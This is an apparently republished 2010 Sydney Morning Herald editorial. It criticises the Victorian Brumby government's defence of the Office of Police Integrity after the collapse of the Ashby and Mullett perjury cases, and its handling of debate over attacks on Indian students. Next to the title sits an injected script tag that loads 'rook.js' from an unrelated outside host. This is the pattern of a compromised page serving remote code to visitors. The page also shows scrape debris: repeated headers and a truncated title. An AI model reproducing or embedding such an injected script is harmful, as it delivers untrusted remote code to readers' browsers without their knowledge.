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Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Sydney Morning Herald
14 February 2010

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Ethics in Policing

Australia: Real leadership mea

Two complex and intriguing issues have unintentionally revealed how the Brumby government responds when uncomfortable truths are exposed. The first is the Office of Police Integrity (OPI), set up to investigate police corruption. The second is violence against Indians in Melbourne. The issues are distinct in many ways, but in both cases there is a stubborn and self-defeating reluctance to face up to what is self-evident.

It is now obvious that the OPI is finished as a credible organisation. However politically awkward it is for the Brumby government to admit that, its refusal to do so has gone beyond a reluctance to change one's mind - it is damaging the state it is elected to serve. After sensational public hearings in 2007, deputy police commissioner Noel Ashby was charged with perjuring himself at the hearing, which was investigating police leaks that were alleged to have compromised a murder investigation. Former police union head Paul Mullett was also charged with perjury. The pair were by far the highest profile people the OPI had targeted, remembering that the organisation had something to prove: its very establishment was controversial, with the Labor government refusing to set up a broad-based anti-corruption commission as other states had done.

Mr Mullett's charges collapsed for lack of evidence. Mr Ashby's case fell apart last week in the most embarrassing of circumstances - a mistake by the OPI meant that retired judge Murray Wilcox, QC, who conducted the OPI hearings, was not lawfully sworn in.

To hear OPI director Michael Strong react to the fiasco was like listening to someone living on another planet. Yes, the mistake was unfortunate, he said, but ''I can assure the public that we regard this as a successful operation''. Which raises the question: what, precisely, would failure look like to Mr Strong? One can feel pity for his predicament - he has no choice but to defend his organisation - but Mr Brumby's stubbornness is less excusable.

It is unthinkable that the OPI could hold another high-profile hearing - hearings that, by their nature, destroy reputations. It would not be taken seriously by the public or the police. There is no alternative but to abolish it, and to do what the government should have done all along - set up a powerful anti-corruption body, similar to a standing royal commission (if it had done so, even the technicality would not have been an issue).

Mr Brumby's instinct - or is it a tactic? - is to label those who disagree with him as essentially attacking the great state of Victoria which, as we all know and are endlessly reminded, is a multicultural showpiece and better than any other state in the nation on almost every measure. Mr Brumby duly asserted that the OPI's record on rooting out corruption was better than any other comparable body in the country. Yes, Mr Brumby, we'll accept your word for it, but it is also the laughing stock of every comparable body, has lost the confidence of the public and has proved itself incompetent in its most important case.

Mr Brumby's real or calculated outrage when anyone suggests that Victoria might not be perfect has also been on display over the debate about assaults on Indian students. The government's response has been to defend strongly and attack aggressively, where a more nuanced, sensitive approach may have been more effective. In this highly emotional situation, language and tone are crucial.

Mr Brumby - and for that matter, police Chief Commissioner Simon Overland - are correct when they say they have always acknowledged that some crimes against Indians had a racial element. But Mr Brumby spends most of his time on this issue attacking those who dare to suggest what to most Victorians is uncontroversial. He reacted angrily to former Australian of the Year Peter Cosgrove's Australia Day speech in which he said that attacks on Indians were a ''major problem'' with a racial element.

Similarly, the reaction of Mr Brumby to Ted Baillieu's recent statement that racism was a real and growing problem in Victoria (he did not say that Victoria was racist, but that some of the attacks had a racial element, pretty much Mr Brumby's position) treated the public like parochial mugs. ''Ted Baillieu has called Victorians racist,'' Education Minister Bronwyn Pike gasped.

Well, no, he didn't. Of course, there was politics in Mr Baillieu's speech, but the response to it was puerile. Victoria is a terrific state and can handle political debates that acknowledge, openly, the problems we face.

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Sydney Morning Herald14 February 2010

Australia: Real leadership mea

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Sydney Morning Herald
14 February 2010